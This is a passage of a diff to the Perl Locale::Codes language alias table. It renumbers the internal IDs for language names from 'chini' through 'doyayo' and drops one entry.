-      q(1871),
+      q(1870),
       q(0),
       ],
    q(chini) => [
-      q(0644),
+      q(0643),
       q(1),
       ],
    q(chinook) => [
-      q(1719),
+      q(1718),
       q(0),
       ],
    q(chinook jargon) => [
@@ -29819,7 +29793,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chipaya) => [
-      q(1651),
+      q(1650),
       q(0),
       ],
    q(chipewyan) => [
@@ -29827,39 +29801,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chippewa) => [
-      q(1738),
+      q(1737),
       q(0),
       ],
    q(chiquian ancash quechua) => [
-      q(5712),
+      q(5710),
       q(0),
       ],
    q(chiquihuitlan mazatec) => [
-      q(4113),
+      q(4112),
       q(0),
       ],
    q(chiquitano) => [
-      q(1656),
+      q(1655),
       q(0),
       ],
    q(chiripa) => [
-      q(4856),
+      q(4854),
       q(0),
       ],
    q(chiru) => [
-      q(1691),
+      q(1690),
       q(0),
       ],
    q(chitimacha) => [
-      q(1890),
+      q(1889),
       q(0),
       ],
    q(chitkuli kinnauri) => [
-      q(1733),
+      q(1732),
       q(0),
       ],
    q(chittagonian) => [
-      q(1887),
+      q(1886),
       q(0),
       ],
    q(chitwania tharu) => [
@@ -29867,15 +29841,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(choapan zapotec) => [
-      q(7901),
+      q(7898),
       q(0),
       ],
    q(chocangacakha) => [
-      q(1715),
+      q(1714),
       q(0),
       ],
    q(chochotec) => [
-      q(1826),
+      q(1825),
       q(0),
       ],
    q(choctaw) => [
@@ -29883,107 +29857,103 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chodri) => [
-      q(1694),
+      q(1693),
       q(0),
       ],
    q(chokri naga) => [
-      q(5050),
+      q(5046),
       q(0),
       ],
    q(chokwe) => [
-      q(1744),
+      q(1743),
       q(0),
       ],
    q(chol) => [
-      q(1896),
+      q(1895),
       q(0),
       ],
    q(cholon) => [
-      q(1723),
+      q(1722),
       q(0),
       ],
    q(chong) => [
-      q(1812),
+      q(1811),
       q(0),
       ],
    q(choni) => [
-      q(1689),
+      q(1688),
       q(0),
       ],
    q(chonyi-dzihana-kauma) => [
-      q(1813),
+      q(1812),
       q(0),
       ],
    q(chopi) => [
-      q(1680),
+      q(1679),
       q(0),
       ],
    q(chorasmian) => [
-      q(7302),
+      q(7300),
       q(0),
       ],
    q(chorti) => [
-      q(1638),
+      q(1637),
       q(0),
       ],
    q(chothe naga) => [
-      q(4773),
+      q(4771),
       q(0),
       ],
    q(chrau) => [
-      q(1857),
+      q(1856),
       q(0),
       ],
    q(chru) => [
-      q(1741),
+      q(1740),
       q(0),
       ],
    q(chuang) => [
-      q(0482),
+      q(0481),
       q(1),
       ],
    q(chuanqiandian cluster miao) => [
-      q(1838),
+      q(1837),
       q(0),
       ],
    q(chuave) => [
-      q(1750),
+      q(1749),
       q(0),
       ],
    q(chug) => [
-      q(1916),
+      q(1915),
       q(0),
       ],
    q(chuj) => [
-      q(1640),
+      q(1639),
       q(0),
       ],
    q(chuka) => [
-      q(1902),
+      q(1901),
       q(0),
       ],
    q(chukot) => [
-      q(1760),
+      q(1759),
       q(0),
       ],
    q(chukwa) => [
-      q(1914),
+      q(1913),
       q(0),
       ],
    q(chulym) => [
-      q(1779),
+      q(1778),
       q(0),
       ],
    q(chumburung) => [
-      q(4774),
-      q(0),
-      ],
-   q(chungmboko) => [
-      q(1901),
+      q(4772),
       q(0),
       ],
    q(churahi) => [
-      q(1695),
+      q(1694),
       q(0),
       ],
    q(church slavic) => [
@@ -30003,7 +29973,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chuvantsy) => [
-      q(7306),
+      q(7304),
       q(0),
       ],
    q(chuvash) => [
@@ -30011,47 +29981,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(chuwabu) => [
-      q(1724),
+      q(1723),
       q(0),
       ],
    q(ci gbe) => [
-      q(1728),
+      q(1727),
       q(0),
       ],
    q(cia-cia) => [
-      q(1727),
+      q(1726),
       q(0),
       ],
    q(cibak) => [
-      q(1754),
+      q(1753),
       q(0),
       ],
    q(cicipu) => [
-      q(0969),
+      q(0968),
       q(0),
       ],
    q(cimbrian) => [
-      q(1734),
+      q(1733),
       q(0),
       ],
    q(cinda-regi-tiyal) => [
-      q(1699),
+      q(1698),
       q(0),
       ],
    q(cineni) => [
-      q(1731),
+      q(1730),
       q(0),
       ],
    q(cinta larga) => [
-      q(1735),
+      q(1734),
       q(0),
       ],
    q(cisalpine gaulish) => [
-      q(7297),
+      q(7295),
       q(0),
       ],
    q(cishingini) => [
-      q(0892),
+      q(0891),
       q(0),
       ],
    q(citak) => [
@@ -30063,103 +30033,103 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(clallam) => [
-      q(1775),
+      q(1774),
       q(0),
       ],
    q(classical armenian) => [
-      q(7299),
+      q(7297),
       q(0),
       ],
    q(classical mandaic) => [
-      q(4686),
+      q(4685),
       q(0),
       ],
    q(classical mongolian) => [
-      q(1783),
+      q(1782),
       q(0),
       ],
    q(classical nahuatl) => [
-      q(4762),
+      q(4761),
       q(0),
       ],
    q(classical nepal bhasa) => [
-      q(0321),
+      q(0320),
       q(2),
       ],
    q(classical newari) => [
-      q(0321),
+      q(0320),
       q(0),
       ],
    q(classical quechua) => [
-      q(5707),
+      q(5705),
       q(0),
       ],
    q(classical syriac) => [
-      q(0415),
+      q(0414),
       q(0),
       ],
    q(classical tibetan) => [
-      q(7304),
+      q(7302),
       q(0),
       ],
    q(coahuilteco) => [
-      q(7307),
+      q(7305),
       q(0),
       ],
    q(coast miwok) => [
-      q(1868),
+      q(1867),
       q(0),
       ],
    q(coastal konjo) => [
-      q(3377),
+      q(3376),
       q(0),
       ],
    q(coatecas altas zapotec) => [
-      q(7818),
+      q(7815),
       q(0),
       ],
    q(coatepec nahuatl) => [
-      q(4731),
+      q(4730),
       q(0),
       ],
    q(coatlan mixe) => [
-      q(4159),
+      q(4158),
       q(0),
       ],
    q(coatlan zapotec) => [
-      q(7917),
+      q(7914),
       q(0),
       ],
    q(coatzospan mixtec) => [
-      q(4312),
+      q(4311),
       q(0),
       ],
    q(cocama-cocamilla) => [
-      q(1809),
+      q(1808),
       q(0),
       ],
    q(cochimi) => [
-      q(1814),
+      q(1813),
       q(0),
       ],
    q(cocopa) => [
-      q(1808),
+      q(1807),
       q(0),
       ],
    q(cocos islands malay) => [
-      q(1806),
+      q(1805),
       q(0),
       ],
    q(coeur d'alene) => [
-      q(1842),
+      q(1841),
       q(0),
       ],
    q(cofan) => [
-      q(1818),
+      q(1817),
       q(0),
       ],
    q(cogui) => [
-      q(3507),
+      q(3506),
       q(0),
       ],
    q(col) => [
@@ -30167,63 +30137,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(colombian sign language) => [
-      q(1873),
+      q(1872),
       q(0),
       ],
    q(colonia tovar german) => [
-      q(2449),
+      q(2448),
       q(0),
       ],
    q(colorado) => [
-      q(1811),
+      q(1810),
       q(0),
       ],
    q(columbia-wenatchi) => [
-      q(1816),
+      q(1815),
       q(0),
       ],
    q(comaltepec chinantec) => [
-      q(1686),
+      q(1685),
       q(0),
       ],
    q(comanche) => [
-      q(1817),
+      q(1816),
       q(0),
       ],
    q(comecrudo) => [
-      q(7300),
+      q(7298),
       q(0),
       ],
    q(como karim) => [
-      q(1710),
+      q(1709),
       q(0),
       ],
    q(comox) => [
-      q(1819),
+      q(1818),
       q(0),
       ],
    q(con) => [
-      q(1800),
+      q(1799),
       q(0),
       ],
    q(congo swahili) => [
-      q(6289),
+      q(6290),
       q(0),
       ],
    q(cook islands maori) => [
-      q(0357),
+      q(0356),
       q(1),
       ],
    q(coong) => [
-      q(1794),
+      q(1793),
       q(0),
       ],
    q(coos) => [
-      q(1882),
+      q(1881),
       q(0),
       ],
    q(copainala zoque) => [
-      q(7892),
+      q(7889),
       q(0),
       ],
    q(copala triqui) => [
@@ -30231,47 +30201,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(coptic) => [
-      q(0091),
+      q(0090),
       q(0),
       ],
    q(coquille) => [
-      q(1820),
+      q(1819),
       q(0),
       ],
    q(cori) => [
-      q(1859),
+      q(1858),
       q(0),
       ],
    q(cornish) => [
-      q(0092),
+      q(0091),
       q(0),
       ],
    q(corongo ancash quechua) => [
-      q(5706),
+      q(5704),
       q(0),
       ],
    q(corsican) => [
-      q(0093),
+      q(0092),
       q(0),
       ],
    q(costa rican sign language) => [
-      q(1876),
+      q(1875),
       q(0),
       ],
    q(cotabato manobo) => [
-      q(4548),
+      q(4547),
       q(0),
       ],
    q(cotoname) => [
-      q(7301),
+      q(7299),
       q(0),
       ],
    q(cowlitz) => [
-      q(1824),
+      q(1823),
       q(0),
       ],
    q(coyotepec popoloca) => [
-      q(5363),
+      q(5359),
       q(0),
       ],
    q(coyutla totonac) => [
@@ -30279,167 +30249,167 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(cree) => [
-      q(0097),
+      q(0096),
       q(0),
       ],
    q(creek) => [
-      q(0294),
+      q(0293),
       q(0),
       ],
    q(creoles and pidgins) => [
-      q(0099),
+      q(0098),
       q(1),
       ],
    q(creoles and pidgins ) => [
-      q(0099),
+      q(0098),
       q(0),
       ],
    q(creoles and pidgins, english based) => [
-      q(0094),
+      q(0093),
       q(0),
       ],
    q(creoles and pidgins, english-based) => [
-      q(0094),
+      q(0093),
       q(1),
       ],
    q(creoles and pidgins, french-based) => [
-      q(0095),
+      q(0094),
       q(1),
       ],
    q(creoles and pidgins, french-based ) => [
-      q(0095),
+      q(0094),
       q(0),
       ],
    q(creoles and pidgins, portuguese-based) => [
-      q(0096),
+      q(0095),
       q(1),
       ],
    q(creoles and pidgins, portuguese-based ) => [
-      q(0096),
+      q(0095),
       q(0),
       ],
    q(crimean tatar) => [
-      q(0098),
+      q(0097),
       q(0),
       ],
    q(crimean turkish) => [
-      q(0098),
+      q(0097),
       q(1),
       ],
    q(croatia sign language) => [
-      q(1875),
+      q(1874),
       q(0),
       ],
    q(croatian) => [
-      q(0182),
+      q(0181),
       q(0),
       ],
    q(cross river mbembe) => [
-      q(4230),
+      q(4229),
       q(0),
       ],
    q(crow) => [
-      q(1851),
+      q(1850),
       q(0),
       ],
    q(cruzeno) => [
-      q(1860),
+      q(1859),
       q(0),
       ],
    q(cua) => [
-      q(1898),
+      q(1897),
       q(0),
       ],
    q(cuba) => [
-      q(1669),
+      q(1668),
       q(1),
       ],
    q(cuba sign language) => [
-      q(1865),
+      q(1864),
       q(0),
       ],
    q(cubeo) => [
-      q(1899),
+      q(1898),
       q(0),
       ],
    q(cuiba) => [
-      q(1903),
+      q(1902),
       q(0),
       ],
    q(culina) => [
-      q(1906),
+      q(1905),
       q(0),
       ],
    q(cumanagoto) => [
-      q(1907),
+      q(1906),
       q(0),
       ],
    q(cumbric) => [
-      q(7294),
+      q(7292),
       q(0),
       ],
    q(cun) => [
-      q(1909),
+      q(1908),
       q(0),
       ],
    q(cuneiform luwian) => [
-      q(7390),
+      q(7387),
       q(0),
       ],
    q(cung) => [
-      q(1901),
-      q(1),
+      q(1900),
+      q(0),
       ],
    q(cupeno) => [
-      q(1908),
+      q(1907),
       q(0),
       ],
    q(curonian) => [
-      q(7305),
+      q(7303),
       q(0),
       ],
    q(curripaco) => [
-      q(3522),
+      q(3521),
       q(0),
       ],
    q(cusco quechua) => [
-      q(5690),
+      q(5688),
       q(0),
       ],
    q(cushitic languages) => [
-      q(0101),
+      q(0100),
       q(0),
       ],
    q(cutchi-swahili) => [
-      q(1684),
+      q(1683),
       q(0),
       ],
    q(cuvok) => [
-      q(1913),
+      q(1912),
       q(0),
       ],
    q(cuyamecalco mixtec) => [
-      q(7510),
+      q(7507),
       q(0),
       ],
    q(cuyonon) => [
-      q(1926),
+      q(1925),
       q(0),
       ],
    q(cwi bwamu) => [
-      q(1564),
+      q(1563),
       q(0),
       ],
    q(cypriot arabic) => [
-      q(0603),
+      q(0602),
       q(0),
       ],
    q(czech) => [
-      q(0102),
+      q(0101),
       q(0),
       ],
    q(czech sign language) => [
-      q(1864),
+      q(1863),
       q(0),
       ],
    q(da'a kaili) => [
@@ -30447,15 +30417,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(da-hua miao) => [
-      q(2777),
+      q(2775),
       q(2),
       ],
    q(daai chin) => [
-      q(1942),
+      q(1941),
       q(0),
       ],
    q(daakaka) => [
-      q(1375),
+      q(1374),
       q(0),
       ],
    q(daantanai') => [
@@ -30463,119 +30433,119 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(daasanach) => [
-      q(2144),
+      q(2143),
       q(0),
       ],
    q(daats'iin) => [
-      q(2157),
+      q(2156),
       q(0),
       ],
    q(daba) => [
-      q(1963),
+      q(1962),
       q(0),
       ],
    q(dabarre) => [
-      q(1964),
+      q(1963),
       q(0),
       ],
    q(dabe) => [
-      q(1953),
+      q(1952),
       q(0),
       ],
    q(dacian) => [
-      q(7310),
+      q(7308),
       q(0),
       ],
    q(dadi dadi) => [
-      q(1972),
+      q(1971),
       q(0),
       ],
    q(dadibi) => [
-      q(4466),
+      q(4465),
       q(0),
       ],
    q(dadiya) => [
-      q(1952),
+      q(1951),
       q(0),
       ],
    q(daga) => [
-      q(2015),
+      q(2014),
       q(0),
       ],
    q(dagaari dioula) => [
-      q(2001),
+      q(2000),
       q(0),
       ],
    q(dagba) => [
-      q(2006),
+      q(2005),
       q(0),
       ],
    q(dagbani) => [
-      q(1936),
+      q(1935),
       q(0),
       ],
    q(dagik) => [
-      q(1983),
+      q(1982),
       q(0),
       ],
    q(dagoman) => [
-      q(2008),
+      q(2007),
       q(0),
       ],
    q(dahalik) => [
-      q(2073),
+      q(2072),
       q(0),
       ],
    q(dahalo) => [
-      q(1940),
+      q(1939),
       q(0),
       ],
    q(daho-doo) => [
-      q(1944),
+      q(1943),
       q(0),
       ],
    q(dai) => [
-      q(2037),
+      q(2036),
       q(0),
       ],
    q(dai zhuang) => [
-      q(7830),
+      q(7827),
       q(0),
       ],
    q(dair) => [
-      q(2128),
+      q(2127),
       q(0),
       ],
    q(dakka) => [
-      q(2068),
+      q(2067),
       q(0),
       ],
    q(dakota) => [
-      q(0103),
+      q(0102),
       q(0),
       ],
    q(dakpakha) => [
-      q(2067),
+      q(2066),
       q(0),
       ],
    q(dalabon) => [
-      q(4837),
+      q(4835),
       q(0),
       ],
    q(dalmatian) => [
-      q(2074),
+      q(2073),
       q(0),
       ],
    q(daloa bete) => [
-      q(1132),
+      q(1131),
       q(0),
       ],
    q(dama) => [
-      q(2084),
+      q(2083),
       q(0),
       ],
    q(damakawa) => [
-      q(1941),
+      q(1940),
       q(0),
       ],
    q(damal) => [
@@ -30583,35 +30553,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(dambi) => [
-      q(1933),
+      q(1932),
       q(0),
       ],
    q(dameli) => [
-      q(2083),
+      q(2082),
       q(0),
       ],
    q(dampelas) => [
-      q(2087),
+      q(2086),
       q(0),
       ],
    q(dan) => [
-      q(2098),
+      q(2097),
       q(0),
       ],
    q(danaru) => [
-      q(2101),
+      q(2100),
       q(0),
       ],
    q(danau) => [
-      q(2103),
+      q(2102),
       q(0),
       ],
    q(dandami maria) => [
-      q(1943),
+      q(1942),
       q(0),
       ],
    q(dangaleat) => [
-      q(1932),
+      q(1931),
       q(0),
       ],
    q(dangaura tharu) => [
@@ -30619,75 +30589,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(danish) => [
-      q(0104),
+      q(0103),
       q(0),
       ],
    q(danish sign language) => [
-      q(2146),
+      q(2145),
       q(0),
       ],
    q(dano) => [
-      q(0899),
+      q(0898),
       q(0),
       ],
    q(danu) => [
-      q(2104),
+      q(2103),
       q(0),
       ],
    q(dao) => [
-      q(1949),
+      q(1948),
       q(0),
       ],
    q(daonda) => [
-      q(2094),
+      q(2093),
       q(0),
       ],
    q(dar daju daju) => [
-      q(2054),
+      q(2053),
       q(0),
       ],
    q(dar fur daju) => [
-      q(1939),
+      q(1938),
       q(0),
       ],
    q(dar sila daju) => [
-      q(1945),
+      q(1944),
       q(0),
       ],
    q(darai) => [
-      q(2142),
+      q(2141),
       q(0),
       ],
    q(darang deng) => [
-      q(4286),
+      q(4285),
       q(1),
       ],
    q(dargwa) => [
-      q(0105),
+      q(0104),
       q(0),
       ],
    q(dari) => [
-      q(5595),
+      q(5592),
       q(0),
       ],
    q(darkinyung) => [
-      q(7309),
+      q(7307),
       q(0),
       ],
    q(darlong) => [
-      q(2075),
+      q(2074),
       q(0),
       ],
    q(darmiya) => [
-      q(2130),
+      q(2129),
       q(0),
       ],
    q(daro-matu melanau) => [
-      q(2136),
+      q(2135),
       q(0),
       ],
    q(dass) => [
-      q(2121),
+      q(2120),
       q(0),
       ],
    q(datooga) => [
@@ -30695,15 +30665,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(daungwurrung) => [
-      q(2013),
+      q(2012),
       q(0),
       ],
    q(daur) => [
-      q(2150),
+      q(2149),
       q(0),
       ],
    q(davawenyo) => [
-      q(1947),
+      q(1946),
       q(0),
       ],
    q(daw) => [
@@ -30711,115 +30681,115 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(dawawa) => [
-      q(2192),
+      q(2191),
       q(0),
       ],
    q(dawera-daweloor) => [
-      q(1982),
+      q(1981),
       q(0),
       ],
    q(dawida) => [
-      q(1946),
+      q(1945),
       q(1),
       ],
    q(dawro) => [
-      q(2189),
+      q(2188),
       q(0),
       ],
    q(day) => [
-      q(1938),
+      q(1937),
       q(0),
       ],
    q(dayi) => [
-      q(1948),
+      q(1947),
       q(0),
       ],
    q(dazaga) => [
-      q(2205),
+      q(2204),
       q(0),
       ],
    q(deccan) => [
-      q(1970),
+      q(1969),
       q(0),
       ],
    q(dedua) => [
-      q(1984),
+      q(1983),
       q(0),
       ],
    q(defaka) => [
-      q(0646),
+      q(0645),
       q(0),
       ],
    q(defi gbe) => [
-      q(2424),
+      q(2423),
       q(0),
       ],
    q(deg) => [
-      q(4708),
+      q(4707),
       q(0),
       ],
    q(degaru) => [
-      q(2012),
+      q(2011),
       q(0),
       ],
    q(degema) => [
-      q(1987),
+      q(1986),
       q(0),
       ],
    q(degenan) => [
-      q(2002),
+      q(2001),
       q(0),
       ],
    q(degexit'an) => [
-      q(2968),
+      q(2965),
       q(0),
       ],
    q(dehu) => [
-      q(2026),
+      q(2025),
       q(0),
       ],
    q(dehwari) => [
-      q(1988),
+      q(1987),
       q(0),
       ],
    q(dek) => [
-      q(1990),
+      q(1989),
       q(0),
       ],
    q(dela-oenale) => [
-      q(5837),
+      q(5836),
       q(0),
       ],
    q(delaware) => [
-      q(0107),
+      q(0106),
       q(0),
       ],
    q(delo) => [
-      q(5093),
+      q(5089),
       q(0),
       ],
    q(dem) => [
-      q(1991),
+      q(1990),
       q(0),
       ],
    q(dema) => [
-      q(2091),
+      q(2090),
       q(0),
       ],
    q(demisa) => [
-      q(1989),
+      q(1988),
       q(0),
       ],
    q(demta) => [
-      q(2092),
+      q(2091),
       q(0),
       ],
    q(dendi (benin)) => [
-      q(1978),
+      q(1977),
       q(0),
       ],
    q(dendi (central african republic)) => [
-      q(1993),
+      q(1992),
       q(0),
       ],
    q(dene suline) => [
@@ -30827,175 +30797,175 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(dengese) => [
-      q(1997),
+      q(1996),
       q(0),
       ],
    q(dengka) => [
-      q(2099),
+      q(2098),
       q(0),
       ],
    q(deni) => [
-      q(2106),
+      q(2105),
       q(0),
       ],
    q(deno) => [
-      q(1951),
+      q(1950),
       q(0),
       ],
    q(denya) => [
-      q(0810),
+      q(0809),
       q(0),
       ],
    q(deori) => [
-      q(1994),
+      q(1993),
       q(0),
       ],
    q(dera (indonesia)) => [
-      q(3203),
+      q(3201),
       q(0),
       ],
    q(dera (nigeria)) => [
-      q(3477),
+      q(3476),
       q(0),
       ],
    q(desano) => [
-      q(1995),
+      q(1994),
       q(0),
       ],
    q(desiya) => [
-      q(2148),
+      q(2147),
       q(0),
       ],
    q(dewoin) => [
-      q(1985),
+      q(1984),
       q(0),
       ],
    q(dezfuli) => [
-      q(1986),
+      q(1985),
       q(0),
       ],
    q(dghwede) => [
-      q(2004),
+      q(2003),
       q(0),
       ],
    q(dhaiso) => [
-      q(2024),
+      q(2023),
       q(0),
       ],
    q(dhalandji) => [
-      q(2019),
+      q(2018),
       q(0),
       ],
    q(dhangu) => [
-      q(2017),
+      q(2016),
       q(1),
       ],
    q(dhangu-djangu) => [
-      q(2017),
+      q(2016),
       q(0),
       ],
    q(dhanki) => [
-      q(2021),
+      q(2020),
       q(0),
       ],
    q(dhanwar (nepal)) => [
-      q(2027),
+      q(2026),
       q(0),
       ],
    q(dhao) => [
-      q(4823),
+      q(4821),
       q(0),
       ],
    q(dhargari) => [
-      q(2023),
+      q(2022),
       q(0),
       ],
    q(dharuk) => [
-      q(7311),
+      q(7309),
       q(0),
       ],
    q(dharumbal) => [
-      q(7333),
+      q(7330),
       q(0),
       ],
    q(dhatki) => [
-      q(4343),
+      q(4342),
       q(0),
       ],
    q(dhimal) => [
-      q(2018),
+      q(2017),
       q(0),
       ],
    q(dhivehi) => [
-      q(0111),
+      q(0110),
       q(1),
       ],
    q(dhodia) => [
-      q(2022),
+      q(2021),
       q(0),
       ],
    q(dhofari arabic) => [
-      q(0608),
+      q(0607),
       q(0),
       ],
    q(dholuo) => [
-      q(0261),
+      q(0260),
       q(1),
       ],
    q(dhudhuroa) => [
-      q(1980),
+      q(1979),
       q(0),
       ],
    q(dhundari) => [
-      q(2016),
+      q(2015),
       q(0),
       ],
    q(dhungaloo) => [
-      q(2028),
+      q(2027),
       q(0),
       ],
    q(dhurga) => [
-      q(2025),
+      q(2024),
       q(0),
       ],
    q(dhuwal) => [
-      q(2191),
+      q(2190),
       q(0),
       ],
    q(dhuwaya) => [
-      q(2193),
+      q(2192),
       q(0),
       ],
    q(dia) => [
-      q(2029),
+      q(2028),
       q(0),
       ],
    q(dibabawon manobo) => [
-      q(4123),
+      q(4122),
       q(0),
       ],
    q(dibiyaso) => [
-      q(1969),
+      q(1968),
       q(0),
       ],
    q(dibo) => [
-      q(2041),
+      q(2040),
       q(0),
       ],
    q(dibole) => [
-      q(1538),
+      q(1537),
       q(0),
       ],
    q(dicamay agta) => [
-      q(2185),
+      q(2184),
       q(0),
       ],
    q(didinga) => [
-      q(2032),
+      q(2031),
       q(0),
       ],
    q(dido) => [
-      q(1979),
+      q(1978),
       q(0),
       ],
    q(diebroud) => [
@@ -31003,95 +30973,95 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(dieri) => [
-      q(2033),
+      q(2032),
       q(0),
       ],
    q(digaro-mishmi) => [
-      q(4286),
+      q(4285),
       q(0),
       ],
    q(digo) => [
-      q(2034),
+      q(2033),
       q(0),
       ],
    q(dii) => [
-      q(2179),
+      q(2178),
       q(0),
       ],
    q(dijim-bwilim) => [
-      q(1708),
+      q(1707),
       q(0),
       ],
    q(dilling) => [
-      q(2039),
+      q(2038),
       q(0),
       ],
    q(dima) => [
-      q(3115),
+      q(3113),
       q(0),
       ],
    q(dimasa) => [
-      q(2045),
+      q(2044),
       q(0),
       ],
    q(dimbong) => [
-      q(2036),
+      q(2035),
       q(0),
       ],
    q(dime) => [
-      q(2040),
+      q(2039),
       q(0),
       ],
    q(dimili) => [
-      q(0487),
+      q(0486),
       q(1),
       ],
    q(dimli) => [
-      q(0487),
+      q(0486),
       q(2),
       ],
    q(dimli (individual language)) => [
-      q(2043),
+      q(2042),
       q(0),
       ],
    q(dimli (macrolanguage)) => [
-      q(0487),
+      q(0486),
       q(6),
       ],
    q(dineor) => [
-      q(4521),
+      q(4520),
       q(1),
       ],
    q(ding) => [
-      q(2051),
+      q(2050),
       q(0),
       ],
    q(dinka) => [
-      q(0110),
+      q(0109),
       q(0),
       ],
    q(dirari) => [
-      q(2046),
+      q(2045),
       q(0),
       ],
    q(dirasha) => [
-      q(2461),
+      q(2460),
       q(0),
       ],
    q(diri) => [
-      q(2188),
+      q(2187),
       q(0),
       ],
    q(diriku) => [
-      q(2047),
+      q(2046),
       q(0),
       ],
    q(dirim) => [
-      q(2044),
+      q(2043),
       q(0),
       ],
    q(disa) => [
-      q(2145),
+      q(2144),
       q(0),
       ],
    q(ditammari) => [
@@ -31099,27 +31069,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ditidaht) => [
-      q(2152),
+      q(2151),
       q(0),
       ],
    q(diuwe) => [
-      q(2050),
+      q(2049),
       q(0),
       ],
    q(diuxi-tilantongo mixtec) => [
-      q(7495),
+      q(7492),
       q(0),
       ],
    q(divehi) => [
-      q(0111),
+      q(0110),
       q(0),
       ],
    q(dixon reef) => [
-      q(2049),
+      q(2048),
       q(0),
       ],
    q(dizin) => [
-      q(4191),
+      q(4190),
       q(0),
       ],
    q(djabwurrung) => [
@@ -31127,55 +31097,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(djadjawurrung) => [
-      q(2052),
+      q(2051),
       q(0),
       ],
    q(djambarrpuyngu) => [
-      q(2064),
+      q(2063),
       q(0),
       ],
    q(djamindjung) => [
-      q(2055),
+      q(2054),
       q(0),
       ],
    q(djangu) => [
-      q(2017),
+      q(2016),
       q(2),
       ],
    q(djangun) => [
-      q(2057),
+      q(2056),
       q(0),
       ],
    q(djauan) => [
-      q(2062),
+      q(2061),
       q(0),
       ],
    q(djawi) => [
-      q(2066),
+      q(2065),
       q(0),
       ],
    q(djeebbana) => [
-      q(2059),
+      q(2058),
       q(0),
       ],
    q(djimini senoufo) => [
-      q(2198),
+      q(2197),
       q(0),
       ],
    q(djinang) => [
-      q(2058),
+      q(2057),
       q(0),
       ],
    q(djinba) => [
-      q(2053),
+      q(2052),
       q(0),
       ],
    q(djingili) => [
-      q(3094),
+      q(3092),
       q(0),
       ],
    q(djiwarli) => [
-      q(2204),
+      q(2203),
       q(0),
       ],
    q(dobel) => [
@@ -31183,119 +31153,119 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(dobu) => [
-      q(2108),
+      q(2107),
       q(0),
       ],
    q(doe) => [
-      q(2110),
+      q(2109),
       q(0),
       ],
    q(doga) => [
-      q(2003),
+      q(2002),
       q(0),
       ],
    q(doghoro) => [
-      q(2014),
+      q(2013),
       q(0),
       ],
    q(dogose) => [
-      q(2120),
+      q(2119),
       q(0),
       ],
    q(dogoso) => [
-      q(2010),
+      q(2009),
       q(0),
       ],
    q(dogri) => [
-      q(0112),
+      q(0111),
       q(0),
       ],
    q(dogri (individual language)) => [
-      q(2009),
+      q(2008),
       q(0),
       ],
    q(dogri (macrolanguage)) => [
-      q(0112),
+      q(0111),
       q(1),
       ],
    q(dogrib) => [
-      q(0109),
+      q(0108),
       q(0),
       ],
    q(dogul dom dogon) => [
-      q(1955),
+      q(1954),
       q(0),
       ],
    q(doka) => [
-      q(1956),
+      q(1955),
       q(0),
       ],
    q(doko-uyanga) => [
-      q(6952),
+      q(6951),
       q(0),
       ],
    q(dolgan) => [
-      q(2072),
+      q(2071),
       q(0),
       ],
    q(dolpo) => [
-      q(2131),
+      q(2130),
       q(0),
       ],
    q(dom) => [
-      q(2107),
+      q(2106),
       q(0),
       ],
    q(domaaki) => [
-      q(2082),
+      q(2081),
       q(0),
       ],
    q(domari) => [
-      q(5812),
+      q(5811),
       q(0),
       ],
    q(dombe) => [
-      q(2122),
+      q(2121),
       q(0),
       ],
    q(dominican sign language) => [
-      q(2118),
+      q(2117),
       q(0),
       ],
    q(dompo) => [
-      q(2125),
+      q(2124),
       q(0),
       ],
    q(domu) => [
-      q(2111),
+      q(2110),
       q(0),
       ],
    q(domung) => [
-      q(1996),
+      q(1995),
       q(0),
       ],
    q(dondo) => [
-      q(2113),
+      q(2112),
       q(0),
       ],
    q(dong) => [
-      q(2112),
+      q(2111),
       q(0),
       ],
    q(dongo) => [
-      q(2116),
+      q(2115),
       q(0),
       ],
    q(dongolawi) => [
-      q(2007),
+      q(2006),
       q(1),
       ],
    q(dongotono) => [
-      q(1973),
+      q(1972),
       q(0),
       ],
    q(dongshanba lalo) => [
-      q(7636),
+      q(7633),
       q(0),
       ],
    q(dongxiang) => [
@@ -31303,39 +31273,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(donno so dogon) => [
-      q(1981),
+      q(1980),
       q(0),
       ],
    q(doondo) => [
-      q(1974),
+      q(1973),
       q(0),
       ],
    q(dori'o) => [
-      q(2119),
+      q(2118),
       q(0),
       ],
    q(dorig) => [
-      q(7248),
+      q(7246),
       q(1),
       ],
    q(doromu-koki) => [
-      q(3546),
+      q(3545),
       q(0),
       ],
    q(dororo) => [
-      q(2138),
+      q(2137),
       q(0),
       ],
    q(dorze) => [
-      q(2126),
+      q(2125),
       q(0),
       ],
    q(doso) => [
-      q(2114),
+      q(2113),
       q(0),
       ],
    q(dotyali) => [
-      q(2164),
+      q(2163),
       q(0),
       ],
    q(doutai) => [
@@ -31343,191 +31313,191 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(doyayo) => [
-      q(2123),
+      q(2122),
